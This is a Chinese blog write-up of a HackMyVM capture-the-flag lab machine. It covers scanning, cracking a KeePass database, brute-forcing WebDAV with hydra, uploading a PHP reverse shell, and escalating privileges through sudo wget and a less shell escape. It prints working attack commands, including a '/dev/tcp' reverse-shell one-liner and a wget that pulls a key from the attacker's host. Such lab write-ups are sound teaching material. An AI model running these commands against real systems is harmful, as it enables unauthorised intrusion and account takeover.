freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次hackmyvm综合靶场的渗透测试-serve
知非 2022-04-09 10:16:28 106274
所属地 黑龙江省

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

信息收集阶段

靶机:192.168.1.128

Kali攻击机:未知

目标:user权限和root权限

1649470101_6250ea95960323790498b.png!small?1649470104015

nmap -A -p- 192.168.1.51

1649470107_6250ea9b614b0f9c17a75.png!small?1649470109852

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.51/ -x php,html,txt

1649470121_6250eaa9b8f994c8037f2.png!small?1649470124261

漏洞利用阶段

http://192.168.1.51/notes.txt

1649470129_6250eab1bb24babe9655f.png!small?1649470132155

接入资源的鉴别信息的数据库是在secrets文件夹下!

唯一的密码管理器我知道在数据库中存储鉴别数据信息的是keepass,他的扩展名是kdbx。因此,我们遍历/secrets文件夹用这个扩展名。

KeePass 是一款免费的开源密码管理器,KeePass 将密码存储为一个数据库,而这个数据库由一个主密码或密码文件锁住,也就是说我们只需要记住一个主密码,或使用一个密码文件,就可以解开这个数据库,就可以获得其他的密码内容。

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.51/secrets/ -x kdbx

1649470140_6250eabca8500adb86d5a.png!small?1649470143147

wget http://192.168.1.51/secrets/db.kdbx

1649470149_6250eac57e7939e22bc34.png!small?1649470151903

1649470155_6250eacb5d9126f1c0be2.png!small?1649470157778

幸运的是:我发现db.kdbx文件可能有密码。现在,为了打开文件,我们能安装一款keepass2的程序在kalilinux中。然而,我们能打开这个在网站https://keeweb.info/。但是在此之前,我们应该知道这些服务有一个主密码去存储密码,我们必须首先破解需要打开这个文件的密码。

这里需要一个软件:keepass2john去破解keepass的主密码!

这里需要用到一个字典rockyou.txt,据说是kali2020自带的字典,140M左右,1400W条密码。

1649470170_6250eada92a8ad4b6b88c.png!small?1649470173054

就是他!!!

1649470176_6250eae0bdf4ba26025b5.png!small?1649470179242

最后我们打开这个文件:

这里需要先在网站下一个软件,安装后打开文件,输入密码:

https://keeweb.info/

1649470262_6250eb36ed5bfd1b4e5c2.png!small?1649470265356

密码是:w3bd4vXXX

前面nmap时扫描出一个webdav:

http://192.168.1.51/webdav

用户名:admin

密码:w3bd4vXXX

但是这里XXX,需要修改为雇员号!

这里需要写一个简单的python程序去写出密码字典:

for i in range(1000):

print(f’w3bd4v{i:03}’)

1649470284_6250eb4ccd58129709f84.png!small?1649470287272

生成密码文件:

1649470290_6250eb5257f2a0c91737f.png!small?1649470292789

使用九头蛇进行破解:

hydra -l admin -P pass.txt http-get://192.168.1.51/webdav/

1649470296_6250eb589834ca16bd93f.png!small?1649470299147

用户名:admin

密码:w3bd4v513

生成反弹shell脚本:

由于这是WEBDAV,我们能上传一个PHPshell和获取反弹shell,我复制了一个pentestmonkey的shell从https://revshells.com ,把它放到当前目录作为shell.php。同时,我修改了资源的IP地址和监听端口为9001。但是,首先,我需要使用curl先把shell.php上传上去。

1649470306_6250eb62ddebc116ab633.png!small?1649470309308

脚本内容:

sh -i >& /dev/tcp/192.168.1.51/4444 0>&1

然后,我们把这个脚本上传上去!!!

curl -T shell.php http://192.168.1.51/webdav/ --digest -u admin:w3bd4v513

1649470324_6250eb74bc1c4bf991fce.png!small?1649470327294

监听4444端口:

1649470330_6250eb7a1cd19550c9dd6.png!small?1649470332479

访问shell.php

1649470335_6250eb7f46959c1843b1a.png!small?1649470337665

不行,看来需要携带用户名和密码进行访问!

curl  http://192.168.1.51/webdav/shell.php --digest -u admin:w3bd4v513

1649470341_6250eb85f37fe3b7a02d5.png!small?1649470344427

还是不行,看到反弹语句,我理解的有问题!

接着我把shell.php中的内容修改为php的反弹shell!

重新上传,试一下!

脚本内容:

https://github.com/pentestmonkey/php-reverse-shell

1649470358_6250eb96caad75fef3f99.png!small?1649470361289

mv php-reverse-shell.php php_shell.php

1649470363_6250eb9bf237b9abaa89e.png!small?1649470366415

curl -T php_shell.php http://192.168.1.51/webdav/ --digest -u admin:w3bd4v513

curl  http://192.168.1.51/webdav/php_shell.php --digest -u admin:w3bd4v513

已经成功反弹shell!

1649470378_6250ebaa1c094ba114d4d.png!small?1649470380596

1649470396_6250ebbc3bf26cfd1325a.png!small?1649470398655

权限提升阶段

这里我们要切换到root权限和teo权限:

从这起,这步非常简单。基于检查当前用户www-data的sudo执行权限,我们发现它能以teo账户执行wget命令。

1649470404_6250ebc4df82592c9eb72.png!small?1649470407340

因此,我们把我们的公钥拷贝到teo用户的.ssh文件夹的authorized_keys。

在我们kali主机上,我们执行以下操作:

ssh-keygen -t rsa

回车

回车

回车

cp ~/.ssh/id_rsa.pub .

python3 -m http.server

1649470436_6250ebe4a27e7269cfcaf.png!small?1649470439118

1649470443_6250ebeb64030cecfad4f.png!small?1649470445801

在目标主机上,我们按以下方式拷贝文件:(把kali主机上的公钥拷贝到teo公钥目标下)

sudo -u teo wget http://192.168.1.128:8000/id_rsa.pub -O /home/teo/.ssh/authorized_keys

1649470447_6250ebefd39bf48880b78.png!small?1649470450335

在kali主机执行:

ssh teo@192.168.1.51

1649470452_6250ebf4d1962887e91bc.png!small?1649470455455

flag字段:ZHgKGi**************3eIkLs6

接下来,需要将权限提升到root!

现在为了获取root权限,我又一次检查了sudo可访问范围。

sudo -l

1649470468_6250ec047a00bcddd3a87.png!small?1649470470912

这个二进制程序是在sudo可访问范围。

查看文件的类型:

1649470473_6250ec099d4e70a04afd6.png!small?1649470476025

这个二进制程序是一个二进行RUBY脚本,我们把看一下它的内容!

1649470478_6250ec0e2f8f867f2fa18.png!small?1649470480752

It looked like it uses bropages which I found out to be similar to the man pages. This means that it uses “less” utility if the content overflows. As we know that, the utility can allow command execution(命令执行). Furthermore, the ruby script has its own website. http://bropages.org/. The binary was safe, so I opened it.

1649470485_6250ec1501f9ca4ad738e.png!small?1649470487493

1649470490_6250ec1a844073c3d71ab.png!small?1649470493012

In the end, we see a colon sign. This indicated the possibility of “less” utility. Thus, I opened bash by typing “!bash”.

在最后,我们看一下冒号符号,这意味着less utility的可能。因为我们打开bash通过输入!bash

1649470496_6250ec203df29da8c9e31.png!small?1649470498692

最后的flag:

Root flag:vWiU********************clyPZ4lyi

# 渗透测试 # web安全 # CTF # 靶场平台 # 靶场实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 知非 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
hackmyvm靶场实战
知非 LV.8
这家伙太懒了,还未填写个人描述!
  • 125 文章数
  • 40 关注者
一个月学习通过商用密码测评师的经验分享
2025-01-09
等保2.0之AIX安全计算环境测评指导书
2023-05-10
记一次hackmyvm综合靶场的渗透测试-warez
2022-04-27
文章目录